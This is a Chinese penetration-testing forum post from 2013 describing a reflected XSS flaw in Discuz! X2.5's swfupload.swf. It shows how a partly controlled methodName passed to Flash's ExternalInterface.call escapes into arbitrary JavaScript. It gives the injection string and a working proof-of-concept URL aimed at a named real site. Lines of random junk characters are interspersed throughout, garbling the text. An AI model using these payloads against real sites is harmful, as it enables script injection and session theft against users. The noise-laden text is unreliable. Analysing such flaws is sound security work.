中国网络渗透测试联盟
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
[打印本页]
作者:
admin
时间:
2013-2-23 12:50
标题:
Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说
, Q9 l7 l7 Q% K7 l
; b6 \; r( m: w+ h+ O( s6 V; a
flash.external.ExternalInterface.call($methodName, $parameter)
, a% o, P* r4 v; T2 h: U
在浏览器中执行的是
8 O! H8 V' v7 H) ]- d w- Y1 {
( m3 X5 Y- o* e( k# T! g
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
b" }/ v+ J: q/ i0 Y
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
) x8 h, n5 A$ {1 t! O8 ?
2 `/ c/ y0 ~( w0 W7 u7 D" e5 V
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
% k$ ]0 _6 O- k; n0 i
$methodName = a())}catch(e){alert(/xss/)}//
, g* g( k% \7 L4 N w) ]+ ^
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
0 g) ?" c( ~' n& l+ r
3 `9 R# j: a9 r4 F4 W- t# g
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
3 z' U% A, B: X5 |, e2 e! v
3 a/ m7 G8 b- ~" @( O: e6 A
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
9 u) a( T) D3 E' B# q5 A+ h% |: F. x
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
5 Y# X- I- n* e6 q9 `* N: C3 \. M |
' c4 A$ g* _& [
. c5 O) s6 Q0 v9 w7 W
" ~/ j$ `+ `( {6 H' @0 F# X3 d
漏洞文件:upload\static\image\common\swfupload.swf
2 s" v# N; M/ c+ H: v: c& T9 V
+ ^# R; z' P% L" \1 Q u3 G
原始SWF下载:
http://swfpoc.appspot.com/vul/discuz_swfupload.swf
~7 u3 C( R- ^, Z* t
- g$ `7 `5 @# Y6 S+ _( ?# I& C
6 D& @( U9 m' B3 I7 m1 e
漏洞证明:
http://bbs.open.qq.com/static/im ... d.swf?movieName=%22
])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
* {) S( C2 X- i z5 t2 h
- E& _9 x9 s7 F) g: u9 `5 z# U9 \
5 S9 z3 W O" q4 Z, `; T2 d# d
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2